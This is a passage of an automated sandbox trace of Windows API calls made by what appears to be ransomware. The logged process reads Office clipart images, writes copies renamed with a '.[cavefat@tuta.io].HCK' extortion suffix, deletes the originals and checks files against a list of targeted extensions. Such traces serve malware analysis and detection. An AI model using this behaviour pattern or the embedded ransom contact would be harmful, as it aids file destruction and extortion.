office\\root\\clipart\\pub60cor\\j0382965.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0177.951] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.951] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.955] GetLastError () returned 0x0 [0177.955] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1bb02, lpOverlapped=0x0) returned 1 [0177.961] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1bb10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1bb10, lpOverlapped=0x0) returned 1 [0177.963] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.963] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.963] SetEndOfFile (hFile=0x370) returned 1 [0177.965] CloseHandle (hObject=0x370) returned 1 [0177.969] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] SetEndOfFile (hFile=0x300) returned 1 [0177.972] CloseHandle (hObject=0x300) returned 1 [0177.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg")) returned 1 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".doc") returned 4 [0177.978] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.978] lstrlenW (lpString=".docx") returned 5 [0177.978] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0177.978] lstrlenW (lpString=".pdf") returned 4 [0177.978] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString=".xls") returned 4 [0177.978] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString=".xlsx") returned 5 [0177.978] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0177.978] lstrlenW (lpString=".ppt") returned 4 [0177.978] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".zip") returned 4 [0177.978] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString=".rar") returned 4 [0177.978] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString=".bz2") returned 4 [0177.978] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.978] lstrlenW (lpString=".7z") returned 3 [0177.978] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".dbf") returned 4 [0177.978] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".1cd") returned 4 [0177.978] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".jpg") returned 4 [0177.978] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".doc") returned 4 [0177.978] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.978] lstrlenW (lpString=".docx") returned 5 [0177.978] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0177.978] lstrlenW (lpString=".pdf") returned 4 [0177.978] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString=".xls") returned 4 [0177.978] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString=".xlsx") returned 5 [0177.978] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0177.978] lstrlenW (lpString=".ppt") returned 4 [0177.978] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.978] lstrlenW (lpString=".zip") returned 4 [0177.978] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.979] lstrlenW (lpString=".rar") returned 4 [0177.979] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.979] lstrlenW (lpString=".bz2") returned 4 [0177.979] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.979] lstrlenW (lpString=".7z") returned 3 [0177.979] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.979] lstrlenW (lpString=".dbf") returned 4 [0177.979] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.979] lstrlenW (lpString=".1cd") returned 4 [0177.979] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG") returned 68 [0177.979] lstrlenW (lpString=".jpg") returned 4 [0177.979] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.979] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.979] lstrlenW (lpString="J0382969.JPG") returned 12 [0177.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0177.980] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=96159) returned 1 [0177.980] CloseHandle (hObject=0x2fc) returned 1 [0177.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg")) returned 0x220 [0177.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.987] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.987] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.989] GetLastError () returned 0x0 [0177.989] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1779f, lpOverlapped=0x0) returned 1 [0177.992] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x177a0, lpOverlapped=0x0) returned 1 [0177.994] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.994] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.994] SetEndOfFile (hFile=0x368) returned 1 [0178.000] CloseHandle (hObject=0x368) returned 1 [0178.003] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.003] SetEndOfFile (hFile=0x370) returned 1 [0178.005] CloseHandle (hObject=0x370) returned 1 [0178.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg")) returned 1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.008] lstrlenW (lpString=".doc") returned 4 [0178.008] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.008] lstrlenW (lpString=".docx") returned 5 [0178.008] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0178.008] lstrlenW (lpString=".pdf") returned 4 [0178.008] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.008] lstrlenW (lpString=".xls") returned 4 [0178.008] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.008] lstrlenW (lpString=".xlsx") returned 5 [0178.008] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0178.008] lstrlenW (lpString=".ppt") returned 4 [0178.008] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.008] lstrlenW (lpString=".zip") returned 4 [0178.008] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.008] lstrlenW (lpString=".rar") returned 4 [0178.008] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.008] lstrlenW (lpString=".bz2") returned 4 [0178.008] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.008] lstrlenW (lpString=".7z") returned 3 [0178.009] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".dbf") returned 4 [0178.009] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".1cd") returned 4 [0178.009] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".jpg") returned 4 [0178.009] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".doc") returned 4 [0178.009] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.009] lstrlenW (lpString=".docx") returned 5 [0178.009] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0178.009] lstrlenW (lpString=".pdf") returned 4 [0178.009] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.009] lstrlenW (lpString=".xls") returned 4 [0178.009] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.009] lstrlenW (lpString=".xlsx") returned 5 [0178.009] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0178.009] lstrlenW (lpString=".ppt") returned 4 [0178.009] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".zip") returned 4 [0178.009] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.009] lstrlenW (lpString=".rar") returned 4 [0178.009] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.009] lstrlenW (lpString=".bz2") returned 4 [0178.009] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.009] lstrlenW (lpString=".7z") returned 3 [0178.009] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".dbf") returned 4 [0178.009] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".1cd") returned 4 [0178.009] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0178.009] lstrlenW (lpString=".jpg") returned 4 [0178.009] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.010] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.010] lstrlenW (lpString="J0384895.JPG") returned 12 [0178.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.016] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=55542) returned 1 [0178.016] CloseHandle (hObject=0x370) returned 1 [0178.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg")) returned 0x220 [0178.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.025] GetLastError () returned 0x0 [0178.025] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xd8f6, lpOverlapped=0x0) returned 1 [0178.028] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xd900, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd900, lpOverlapped=0x0) returned 1 [0178.030] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.030] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.031] SetEndOfFile (hFile=0x39c) returned 1 [0178.032] CloseHandle (hObject=0x39c) returned 1 [0178.033] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.033] SetEndOfFile (hFile=0x368) returned 1 [0178.037] CloseHandle (hObject=0x368) returned 1 [0178.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg")) returned 1 [0178.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.045] lstrlenW (lpString=".doc") returned 4 [0178.045] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.045] lstrlenW (lpString=".docx") returned 5 [0178.045] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.045] lstrlenW (lpString=".pdf") returned 4 [0178.045] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.045] lstrlenW (lpString=".xls") returned 4 [0178.045] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.045] lstrlenW (lpString=".xlsx") returned 5 [0178.045] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.045] lstrlenW (lpString=".ppt") returned 4 [0178.045] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.045] lstrlenW (lpString=".zip") returned 4 [0178.045] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.045] lstrlenW (lpString=".rar") returned 4 [0178.045] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.045] lstrlenW (lpString=".bz2") returned 4 [0178.045] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString=".7z") returned 3 [0178.046] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".dbf") returned 4 [0178.046] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".1cd") returned 4 [0178.046] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".jpg") returned 4 [0178.046] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".doc") returned 4 [0178.046] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString=".docx") returned 5 [0178.046] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.046] lstrlenW (lpString=".pdf") returned 4 [0178.046] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.046] lstrlenW (lpString=".xls") returned 4 [0178.046] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.046] lstrlenW (lpString=".xlsx") returned 5 [0178.046] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.046] lstrlenW (lpString=".ppt") returned 4 [0178.046] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".zip") returned 4 [0178.046] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.046] lstrlenW (lpString=".rar") returned 4 [0178.046] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.046] lstrlenW (lpString=".bz2") returned 4 [0178.046] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString=".7z") returned 3 [0178.046] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".dbf") returned 4 [0178.046] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".1cd") returned 4 [0178.046] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG") returned 68 [0178.046] lstrlenW (lpString=".jpg") returned 4 [0178.046] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.046] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.046] lstrlenW (lpString="J0386270.JPG") returned 12 [0178.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.050] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15171) returned 1 [0178.050] CloseHandle (hObject=0x39c) returned 1 [0178.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg")) returned 0x220 [0178.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.054] 